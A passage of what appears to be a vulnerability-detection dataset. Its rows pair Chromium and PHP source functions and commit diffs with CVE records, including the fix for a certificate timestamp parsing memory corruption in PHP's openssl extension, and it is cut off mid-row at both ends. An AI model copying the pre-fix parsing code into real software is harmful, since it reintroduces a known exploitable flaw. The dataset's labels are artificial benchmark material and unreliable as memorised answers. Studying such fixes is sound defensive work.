-1113,7 +1114,6 @@ bool FrameLoader::prepareForCommit()\n // At this point, the provisional document loader should not detach, because\n // then the FrameLoader would not have any attached DocumentLoaders.\n if (m_documentLoader) {\n- FrameNavigationDisabler navigationDisabler(*m_frame);\n TemporaryChange<bool> inDetachDocumentLoader(m_protectProvisionalLoader, true);\n detachDocumentLoader(m_documentLoader);\n }\n@@ -1420,10 +1420,7 @@ void FrameLoader::startLoad(FrameLoadRequest& frameLoadRequest, FrameLoadType ty\n return;\n \n m_frame->document()->cancelParsing();\n- if (m_provisionalDocumentLoader) {\n- FrameNavigationDisabler navigationDisabler(*m_frame);\n- detachDocumentLoader(m_provisionalDocumentLoader);\n- }\n+ detachDocumentLoader(m_provisionalDocumentLoader);\n \n // beforeunload fired above, and detaching a DocumentLoader can fire\n // events, which can detach this frame."}
|
void FrameLoader::finishedParsing()
{
if (m_stateMachine.creatingInitialEmptyDocument())
return;
m_progressTracker->finishedParsing();
if (client()) {
ScriptForbiddenScope forbidScripts;
client()->dispatchDidFinishDocumentLoad();
}
if (client())
client()->runScriptsAtDocumentReady(m_documentLoader ? m_documentLoader->isCommittedButEmpty() : true);
checkCompleted();
if (!m_frame->view())
return; // We are being destroyed by something checkCompleted called.
m_frame->view()->restoreScrollbar();
processFragment(m_frame->document()->url(), NavigationToDifferentDocument);
}
|
void FrameLoader::finishedParsing()
{
if (m_stateMachine.creatingInitialEmptyDocument())
return;
m_progressTracker->finishedParsing();
if (client()) {
ScriptForbiddenScope forbidScripts;
client()->dispatchDidFinishDocumentLoad();
}
if (client())
client()->runScriptsAtDocumentReady(m_documentLoader ? m_documentLoader->isCommittedButEmpty() : true);
checkCompleted();
if (!m_frame->view())
return; // We are being destroyed by something checkCompleted called.
m_frame->view()->restoreScrollbar();
processFragment(m_frame->document()->url(), NavigationToDifferentDocument);
}
|
C
| null | null | null |
@@ -725,6 +725,7 @@ void FrameLoader::detachDocumentLoader(Member<DocumentLoader>& loader)
if (!loader)
return;
+ FrameNavigationDisabler navigationDisabler(*m_frame);
loader->detachFromFrame();
loader = nullptr;
}
@@ -1113,7 +1114,6 @@ bool FrameLoader::prepareForCommit()
// At this point, the provisional document loader should not detach, because
// then the FrameLoader would not have any attached DocumentLoaders.
if (m_documentLoader) {
- FrameNavigationDisabler navigationDisabler(*m_frame);
TemporaryChange<bool> inDetachDocumentLoader(m_protectProvisionalLoader, true);
detachDocumentLoader(m_documentLoader);
}
@@ -1420,10 +1420,7 @@ void FrameLoader::startLoad(FrameLoadRequest& frameLoadRequest, FrameLoadType ty
return;
m_frame->document()->cancelParsing();
- if (m_provisionalDocumentLoader) {
- FrameNavigationDisabler navigationDisabler(*m_frame);
- detachDocumentLoader(m_provisionalDocumentLoader);
- }
+ detachDocumentLoader(m_provisionalDocumentLoader);
// beforeunload fired above, and detaching a DocumentLoader can fire
// events, which can detach this frame.
|
Chrome
|
be655fd4fb9ab3291a855a939496111674037a2f
|
23024078fb2e07f6852031e76f08712bcd6303f0
| 0
|
void FrameLoader::finishedParsing()
{
if (m_stateMachine.creatingInitialEmptyDocument())
return;
m_progressTracker->finishedParsing();
if (client()) {
ScriptForbiddenScope forbidScripts;
client()->dispatchDidFinishDocumentLoad();
}
if (client())
client()->runScriptsAtDocumentReady(m_documentLoader ? m_documentLoader->isCommittedButEmpty() : true);
checkCompleted();
if (!m_frame->view())
return; // We are being destroyed by something checkCompleted called.
// Check if the scrollbars are really needed for the content.
// If not, remove them, relayout, and repaint.
m_frame->view()->restoreScrollbar();
processFragment(m_frame->document()->url(), NavigationToDifferentDocument);
}
|
149
| null |
Remote
|
Not required
|
Partial
|
CVE-2013-6420
|
https://www.cvedetails.com/cve/CVE-2013-6420/
|
CWE-119
|
Low
|
Partial
|
Partial
| null |
2013-12-16
| 7.5
|
The asn1_time_to_time_t function in ext/openssl/openssl.c in PHP before 5.3.28, 5.4.x before 5.4.23, and 5.5.x before 5.5.7 does not properly parse (1) notBefore and (2) notAfter timestamps in X.509 certificates, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted certificate that is not properly handled by the openssl_x509_parse function.
|
2018-10-30
|
DoS Exec Code Overflow Mem. Corr.
| 0
|
https://git.php.net/?p=php-src.git;a=commit;h=c1224573c773b6845e83505f717fbf820fc18415
|
c1224573c773b6845e83505f717fbf820fc18415
| null | 0
| null | null |
static STACK_OF(X509) * php_array_to_X509_sk(zval ** zcerts TSRMLS_DC) /* {{{ */
{
HashPosition hpos;
zval ** zcertval;
STACK_OF(X509) * sk = NULL;
X509 * cert;
long certresource;
sk = sk_X509_new_null();
/* get certs */
if (Z_TYPE_PP(zcerts) == IS_ARRAY) {
zend_hash_internal_pointer_reset_ex(HASH_OF(*zcerts), &hpos);
while(zend_hash_get_current_data_ex(HASH_OF(*zcerts), (void**)&zcertval, &hpos) == SUCCESS) {
cert = php_openssl_x509_from_zval(zcertval, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
zend_hash_move_forward_ex(HASH_OF(*zcerts), &hpos);
}
} else {
/* a single certificate */
cert = php_openssl_x509_from_zval(zcerts, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
}
clean_exit:
return sk;
}
/* }}} */
|
static STACK_OF(X509) * php_array_to_X509_sk(zval ** zcerts TSRMLS_DC) /* {{{ */
{
HashPosition hpos;
zval ** zcertval;
STACK_OF(X509) * sk = NULL;
X509 * cert;
long certresource;
sk = sk_X509_new_null();
/* get certs */
if (Z_TYPE_PP(zcerts) == IS_ARRAY) {
zend_hash_internal_pointer_reset_ex(HASH_OF(*zcerts), &hpos);
while(zend_hash_get_current_data_ex(HASH_OF(*zcerts), (void**)&zcertval, &hpos) == SUCCESS) {
cert = php_openssl_x509_from_zval(zcertval, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
zend_hash_move_forward_ex(HASH_OF(*zcerts), &hpos);
}
} else {
/* a single certificate */
cert = php_openssl_x509_from_zval(zcerts, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
}
clean_exit:
return sk;
}
/* }}} */
|
C
| null | null |
32873cd0ddea7df8062213bb025beb6fb070e59d
|
@@ -644,18 +644,28 @@ static time_t asn1_time_to_time_t(ASN1_UTCTIME * timestr TSRMLS_DC) /* {{{ */
char * thestr;
long gmadjust = 0;
- if (timestr->length < 13) {
- php_error_docref(NULL TSRMLS_CC, E_WARNING, "extension author too lazy to parse %s correctly", timestr->data);
+ if (ASN1_STRING_type(timestr) != V_ASN1_UTCTIME) {
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "illegal ASN1 data type for timestamp");
return (time_t)-1;
}
- strbuf = estrdup((char *)timestr->data);
+ if (ASN1_STRING_length(timestr) != strlen(ASN1_STRING_data(timestr))) {
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "illegal length in timestamp");
+ return (time_t)-1;
+ }
+
+ if (ASN1_STRING_length(timestr) < 13) {
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "unable to parse time string %s correctly", timestr->data);
+ return (time_t)-1;
+ }
+
+ strbuf = estrdup((char *)ASN1_STRING_data(timestr));
memset(&thetime, 0, sizeof(thetime));
/* we work backwards so that we can use atoi more easily */
- thestr = strbuf + timestr->length - 3;
+ thestr = strbuf + ASN1_STRING_length(timestr) - 3;
thetime.tm_sec = atoi(thestr);
*thestr = '\0';
|
php
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/openssl/openssl.c;h=0d2d6442df1a25f7125d0f3dc9037188b825917f;hb=0d2d6442df1a25f7125d0f3dc9037188b825917f
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/openssl/openssl.c;h=e7672e4a34c0169d4f333350e1696004b92bba8b;hb=e7672e4a34c0169d4f333350e1696004b92bba8b
| 0
|
static STACK_OF(X509) * php_array_to_X509_sk(zval ** zcerts TSRMLS_DC) /* {{{ */
{
HashPosition hpos;
zval ** zcertval;
STACK_OF(X509) * sk = NULL;
X509 * cert;
long certresource;
sk = sk_X509_new_null();
/* get certs */
if (Z_TYPE_PP(zcerts) == IS_ARRAY) {
zend_hash_internal_pointer_reset_ex(HASH_OF(*zcerts), &hpos);
while(zend_hash_get_current_data_ex(HASH_OF(*zcerts), (void**)&zcertval, &hpos) == SUCCESS) {
cert = php_openssl_x509_from_zval(zcertval, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
zend_hash_move_forward_ex(HASH_OF(*zcerts), &hpos);
}
} else {
/* a single certificate */
cert = php_openssl_x509_from_zval(zcerts, 0, &certresource TSRMLS_CC);
if (cert == NULL) {
goto clean_exit;
}
if (certresource != -1) {
cert = X509_dup(cert);
if (cert == NULL) {
goto clean_exit;
}
}
sk_X509_push(sk, cert);
}
clean_exit:
return sk;
}
/* }}} */
|
136,328
| null |
Remote
|
Not required
|
Complete
|
CVE-2015-6787
|
https://www.cvedetails.com/cve/CVE-2015-6787/
| null |
Low
|
Complete
|
Complete
| null |
2015-12-05
| 10
|
Multiple unspecified vulnerabilities in Google Chrome before 47.0.2526.73 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
|
2017-09-13
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/f911e11e7f6b5c0d6f5ee694a9871de6619889f7
|
f911e11e7f6b5c0d6f5ee694a9871de6619889f7
|
Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
| 0
|
third_party/blink/renderer/core/paint/paint_property_tree_builder.cc
|
{"sha": "6da131da4ecafb786c67365ccc6cd446111933b4", "filename": "third_party/blink/renderer/core/paint/block_painter.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/block_painter.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/block_painter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/block_painter.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -196,7 +196,7 @@ void BlockPainter::PaintScrollHitTestDisplayItem(const PaintInfo& paint_info) {\n DisplayItem::kScrollHitTest);\n ScrollHitTestDisplayItem::Record(paint_info.context, layout_block_,\n DisplayItem::kScrollHitTest,\n- properties->ScrollTranslation());\n+ *properties->ScrollTranslation());\n }\n }\n "}<_**next**_>{"sha": "e8101ec0800dbffd8f12b387201b82eed2324d0e", "filename": "third_party/blink/renderer/core/paint/compositing/compositing_layer_property_updater.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/compositing/compositing_layer_property_updater.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/compositing/compositing_layer_property_updater.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/compositing/compositing_layer_property_updater.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -139,7 +139,7 @@ void CompositingLayerPropertyUpdater::Update(const LayoutObject& object) {\n state.SetClip(\n clipping_container\n ? clipping_container->FirstFragment().ContentsProperties().Clip()\n- : ClipPaintPropertyNode::Root());\n+ : &ClipPaintPropertyNode::Root());\n squashing_layer->SetLayerState(\n state,\n snapped_paint_offset + mapping->SquashingLayerOffsetFromLayoutObject());"}<_**next**_>{"sha": "b319147613465bbc820283e2e4d2b2a168beb2cf", "filename": "third_party/blink/renderer/core/paint/find_paint_offset_and_visual_rect_needing_update.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/find_paint_offset_and_visual_rect_needing_update.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/find_paint_offset_and_visual_rect_needing_update.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/find_paint_offset_and_visual_rect_needing_update.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -56,7 +56,7 @@ class FindPaintOffsetNeedingUpdateScope {\n const FragmentData& fragment_data_;\n const bool& is_actually_needed_;\n LayoutPoint old_paint_offset_;\n- scoped_refptr<const TransformPaintPropertyNode> old_paint_offset_translation_;\n+ std::unique_ptr<TransformPaintPropertyNode> old_paint_offset_translation_;\n };\n \n class FindVisualRectNeedingUpdateScopeBase {"}<_**next**_>{"sha": "ea2a2d7c7ffefaefeb89190f9d20d6d44b4b7fee", "filename": "third_party/blink/renderer/core/paint/fragment_data.h", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/fragment_data.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/fragment_data.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/fragment_data.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -7,7 +7,7 @@\n \n #include \"base/optional.h\"\n #include \"third_party/blink/renderer/core/paint/object_paint_properties.h\"\n-#include \"third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h\"\n+#include \"third_party/blink/renderer/platform/graphics/paint/property_tree_state.h\"\n \n namespace blink {\n \n@@ -147,9 +147,9 @@ class CORE_EXPORT FragmentData {\n // node. Even though the div has no transform, its local border box\n // properties would have a transform node that points to the div's\n // ancestor transform space.\n- PropertyTreeState LocalBorderBoxProperties() const {\n+ const PropertyTreeState& LocalBorderBoxProperties() const {\n DCHECK(HasLocalBorderBoxProperties());\n- return rare_data_->local_border_box_properties->GetPropertyTreeState();\n+ return *rare_data_->local_border_box_properties;\n }\n bool HasLocalBorderBoxProperties() const {\n return rare_data_ && rare_data_->local_border_box_properties;\n@@ -162,9 +162,9 @@ class CORE_EXPORT FragmentData {\n EnsureRareData();\n if (!rare_data_->local_border_box_properties) {\n rare_data_->local_border_box_properties =\n- std::make_unique<RefCountedPropertyTreeState>(state);\n+ std::make_unique<PropertyTreeState>(state);\n } else {\n- *rare_data_->local_border_box_properties = std::move(state);\n+ *rare_data_->local_border_box_properties = state;\n }\n }\n \n@@ -226,7 +226,7 @@ class CORE_EXPORT FragmentData {\n LayoutPoint pagination_offset;\n LayoutUnit logical_top_in_flow_thread;\n std::unique_ptr<ObjectPaintProperties> paint_properties;\n- std::unique_ptr<RefCountedPropertyTreeState> local_border_box_properties;\n+ std::unique_ptr<PropertyTreeState> local_border_box_properties;\n bool is_clip_path_cache_valid = false;\n base::Optional<IntRect> clip_path_bounding_box;\n scoped_refptr<const RefCountedPath> clip_path_path;"}<_**next**_>{"sha": "c0bc1624220abc06d98f7f08a1f3ce0ccaac8628", "filename": "third_party/blink/renderer/core/paint/object_paint_properties.h", "status": "modified", "additions": 66, "deletions": 75, "changes": 141, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/object_paint_properties.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/object_paint_properties.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/object_paint_properties.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -188,98 +188,88 @@ class CORE_EXPORT ObjectPaintProperties {\n };\n \n UpdateResult UpdatePaintOffsetTranslation(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+ const TransformPaintPropertyNode& parent,\n TransformPaintPropertyNode::State&& state) {\n- return Update(paint_offset_translation_, std::move(parent),\n- std::move(state));\n+ return Update(paint_offset_translation_, parent, std::move(state));\n }\n- UpdateResult UpdateTransform(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n- TransformPaintPropertyNode::State&& state) {\n- return Update(transform_, std::move(parent), std::move(state));\n+ UpdateResult UpdateTransform(const TransformPaintPropertyNode& parent,\n+ TransformPaintPropertyNode::State&& state) {\n+ return Update(transform_, parent, std::move(state));\n }\n- UpdateResult UpdatePerspective(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n- TransformPaintPropertyNode::State&& state) {\n- return Update(perspective_, std::move(parent), std::move(state));\n+ UpdateResult UpdatePerspective(const TransformPaintPropertyNode& parent,\n+ TransformPaintPropertyNode::State&& state) {\n+ return Update(perspective_, parent, std::move(state));\n }\n UpdateResult UpdateSvgLocalToBorderBoxTransform(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+ const TransformPaintPropertyNode& parent,\n TransformPaintPropertyNode::State&& state) {\n DCHECK(!ScrollTranslation()) << \"SVG elements cannot scroll so there \"\n \"should never be both a scroll translation \"\n \"and an SVG local to border box transform.\";\n- return Update(svg_local_to_border_box_transform_, std::move(parent),\n- std::move(state));\n+ return Update(svg_local_to_border_box_transform_, parent, std::move(state));\n }\n- UpdateResult UpdateScroll(scoped_refptr<const ScrollPaintPropertyNode> parent,\n+ UpdateResult UpdateScroll(const ScrollPaintPropertyNode& parent,\n ScrollPaintPropertyNode::State&& state) {\n- return Update(scroll_, std::move(parent), std::move(state));\n+ return Update(scroll_, parent, std::move(state));\n }\n UpdateResult UpdateScrollTranslation(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+ const TransformPaintPropertyNode& parent,\n TransformPaintPropertyNode::State&& state) {\n DCHECK(!SvgLocalToBorderBoxTransform())\n << \"SVG elements cannot scroll so there should never be both a scroll \"\n \"translation and an SVG local to border box transform.\";\n- return Update(scroll_translation_, std::move(parent), std::move(state));\n+ return Update(scroll_translation_, parent, std::move(state));\n }\n- UpdateResult UpdateEffect(scoped_refptr<const EffectPaintPropertyNode> parent,\n+ UpdateResult UpdateEffect(const EffectPaintPropertyNode& parent,\n EffectPaintPropertyNode::State&& state) {\n- return Update(effect_, std::move(parent), std::move(state));\n+ return Update(effect_, parent, std::move(state));\n }\n- UpdateResult UpdateFilter(scoped_refptr<const EffectPaintPropertyNode> parent,\n+ UpdateResult UpdateFilter(const EffectPaintPropertyNode& parent,\n EffectPaintPropertyNode::State&& state) {\n- return Update(filter_, std::move(parent), std::move(state));\n+ return Update(filter_, parent, std::move(state));\n }\n- UpdateResult UpdateMask(scoped_refptr<const EffectPaintPropertyNode> parent,\n+ UpdateResult UpdateMask(const EffectPaintPropertyNode& parent,\n EffectPaintPropertyNode::State&& state) {\n- return Update(mask_, std::move(parent), std::move(state));\n+ return Update(mask_, parent, std::move(state));\n }\n- UpdateResult UpdateClipPath(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n- EffectPaintPropertyNode::State&& state) {\n- return Update(clip_path_, std::move(parent), std::move(state));\n+ UpdateResult UpdateClipPath(const EffectPaintPropertyNode& parent,\n+ EffectPaintPropertyNode::State&& state) {\n+ return Update(clip_path_, parent, std::move(state));\n }\n- UpdateResult UpdateFragmentClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- ClipPaintPropertyNode::State&& state) {\n- return Update(fragment_clip_, std::move(parent), std::move(state));\n+ UpdateResult UpdateFragmentClip(const ClipPaintPropertyNode& parent,\n+ ClipPaintPropertyNode::State&& state) {\n+ return Update(fragment_clip_, parent, std::move(state));\n }\n- UpdateResult UpdateClipPathClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- ClipPaintPropertyNode::State&& state) {\n- return Update(clip_path_clip_, std::move(parent), std::move(state));\n+ UpdateResult UpdateClipPathClip(const ClipPaintPropertyNode& parent,\n+ ClipPaintPropertyNode::State&& state) {\n+ return Update(clip_path_clip_, parent, std::move(state));\n }\n- UpdateResult UpdateMaskClip(scoped_refptr<const ClipPaintPropertyNode> parent,\n+ UpdateResult UpdateMaskClip(const ClipPaintPropertyNode& parent,\n ClipPaintPropertyNode::State&& state) {\n- return Update(mask_clip_, std::move(parent), std::move(state));\n+ return Update(mask_clip_, parent, std::move(state));\n }\n- UpdateResult UpdateCssClip(scoped_refptr<const ClipPaintPropertyNode> parent,\n+ UpdateResult UpdateCssClip(const ClipPaintPropertyNode& parent,\n ClipPaintPropertyNode::State&& state) {\n- return Update(css_clip_, std::move(parent), std::move(state));\n+ return Update(css_clip_, parent, std::move(state));\n }\n UpdateResult UpdateCssClipFixedPosition(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n+ const ClipPaintPropertyNode& parent,\n ClipPaintPropertyNode::State&& state) {\n- return Update(css_clip_fixed_position_, std::move(parent),\n- std::move(state));\n+ return Update(css_clip_fixed_position_, parent, std::move(state));\n }\n UpdateResult UpdateOverflowControlsClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n+ const ClipPaintPropertyNode& parent,\n ClipPaintPropertyNode::State&& state) {\n- return Update(overflow_controls_clip_, std::move(parent), std::move(state));\n+ return Update(overflow_controls_clip_, parent, std::move(state));\n }\n UpdateResult UpdateInnerBorderRadiusClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n+ const ClipPaintPropertyNode& parent,\n ClipPaintPropertyNode::State&& state) {\n- return Update(inner_border_radius_clip_, std::move(parent),\n- std::move(state));\n+ return Update(inner_border_radius_clip_, parent, std::move(state));\n }\n- UpdateResult UpdateOverflowClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- ClipPaintPropertyNode::State&& state) {\n- return Update(overflow_clip_, std::move(parent), std::move(state));\n+ UpdateResult UpdateOverflowClip(const ClipPaintPropertyNode& parent,\n+ ClipPaintPropertyNode::State&& state) {\n+ return Update(overflow_clip_, parent, std::move(state));\n }\n \n #if DCHECK_IS_ON()\n@@ -335,7 +325,7 @@ class CORE_EXPORT ObjectPaintProperties {\n // deleted), and false otherwise. See the class-level comment (\"update & clear\n // implementation note\") for details about why this is needed for efficiency.\n template <typename PaintPropertyNode>\n- bool Clear(scoped_refptr<PaintPropertyNode>& field) {\n+ bool Clear(std::unique_ptr<PaintPropertyNode>& field) {\n if (field) {\n field = nullptr;\n return true;\n@@ -347,39 +337,40 @@ class CORE_EXPORT ObjectPaintProperties {\n // created), and false otherwise. See the class-level comment (\"update & clear\n // implementation note\") for details about why this is needed for efficiency.\n template <typename PaintPropertyNode>\n- UpdateResult Update(scoped_refptr<PaintPropertyNode>& field,\n- scoped_refptr<const PaintPropertyNode> parent,\n+ UpdateResult Update(std::unique_ptr<PaintPropertyNode>& field,\n+ const PaintPropertyNode& parent,\n typename PaintPropertyNode::State&& state) {\n if (field) {\n- return field->Update(std::move(parent), std::move(state))\n+ return field->Update(parent, std::move(state))\n ? UpdateResult::kValueChanged\n : UpdateResult::kUnchanged;\n }\n- field = PaintPropertyNode::Create(std::move(parent), std::move(state));\n+ field = PaintPropertyNode::Create(parent, std::move(state));\n return UpdateResult::kNewNodeCreated;\n }\n \n // ATTENTION! Make sure to keep FindPropertiesNeedingUpdate.h in sync when\n // new properites are added!\n- scoped_refptr<TransformPaintPropertyNode> paint_offset_translation_;\n- scoped_refptr<TransformPaintPropertyNode> transform_;\n- scoped_refptr<EffectPaintPropertyNode> effect_;\n- scoped_refptr<EffectPaintPropertyNode> filter_;\n- scoped_refptr<EffectPaintPropertyNode> mask_;\n- scoped_refptr<EffectPaintPropertyNode> clip_path_;\n- scoped_refptr<ClipPaintPropertyNode> fragment_clip_;\n- scoped_refptr<ClipPaintPropertyNode> clip_path_clip_;\n- scoped_refptr<ClipPaintPropertyNode> mask_clip_;\n- scoped_refptr<ClipPaintPropertyNode> css_clip_;\n- scoped_refptr<ClipPaintPropertyNode> css_clip_fixed_position_;\n- scoped_refptr<ClipPaintPropertyNode> overflow_controls_clip_;\n- scoped_refptr<ClipPaintPropertyNode> inner_border_radius_clip_;\n- scoped_refptr<ClipPaintPropertyNode> overflow_clip_;\n- scoped_refptr<TransformPaintPropertyNode> perspective_;\n+ std::unique_ptr<TransformPaintPropertyNode> paint_offset_translation_;\n+ std::unique_ptr<TransformPaintPropertyNode> transform_;\n+ std::unique_ptr<EffectPaintPropertyNode> effect_;\n+ std::unique_ptr<EffectPaintPropertyNode> filter_;\n+ std::unique_ptr<EffectPaintPropertyNode> mask_;\n+ std::unique_ptr<EffectPaintPropertyNode> clip_path_;\n+ std::unique_ptr<ClipPaintPropertyNode> fragment_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> clip_path_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> mask_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> css_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> css_clip_fixed_position_;\n+ std::unique_ptr<ClipPaintPropertyNode> overflow_controls_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> inner_border_radius_clip_;\n+ std::unique_ptr<ClipPaintPropertyNode> overflow_clip_;\n+ std::unique_ptr<TransformPaintPropertyNode> perspective_;\n // TODO(pdr): Only LayoutSVGRoot needs this and it should be moved there.\n- scoped_refptr<TransformPaintPropertyNode> svg_local_to_border_box_transform_;\n- scoped_refptr<ScrollPaintPropertyNode> scroll_;\n- scoped_refptr<TransformPaintPropertyNode> scroll_translation_;\n+ std::unique_ptr<TransformPaintPropertyNode>\n+ svg_local_to_border_box_transform_;\n+ std::unique_ptr<ScrollPaintPropertyNode> scroll_;\n+ std::unique_ptr<TransformPaintPropertyNode> scroll_translation_;\n \n DISALLOW_COPY_AND_ASSIGN(ObjectPaintProperties);\n };"}<_**next**_>{"sha": "4be475bfc458f1170ab81ba3a7733f81b6984348", "filename": "third_party/blink/renderer/core/paint/paint_property_tree_builder.cc", "status": "modified", "additions": 28, "deletions": 28, "changes": 56, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/paint_property_tree_builder.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/paint_property_tree_builder.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/paint_property_tree_builder.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -39,13 +39,13 @@ namespace blink {\n \n PaintPropertyTreeBuilderFragmentContext::\n PaintPropertyTreeBuilderFragmentContext()\n- : current_effect(EffectPaintPropertyNode::Root()) {\n+ : current_effect(&EffectPaintPropertyNode::Root()) {\n current.clip = absolute_position.clip = fixed_position.clip =\n- ClipPaintPropertyNode::Root();\n+ 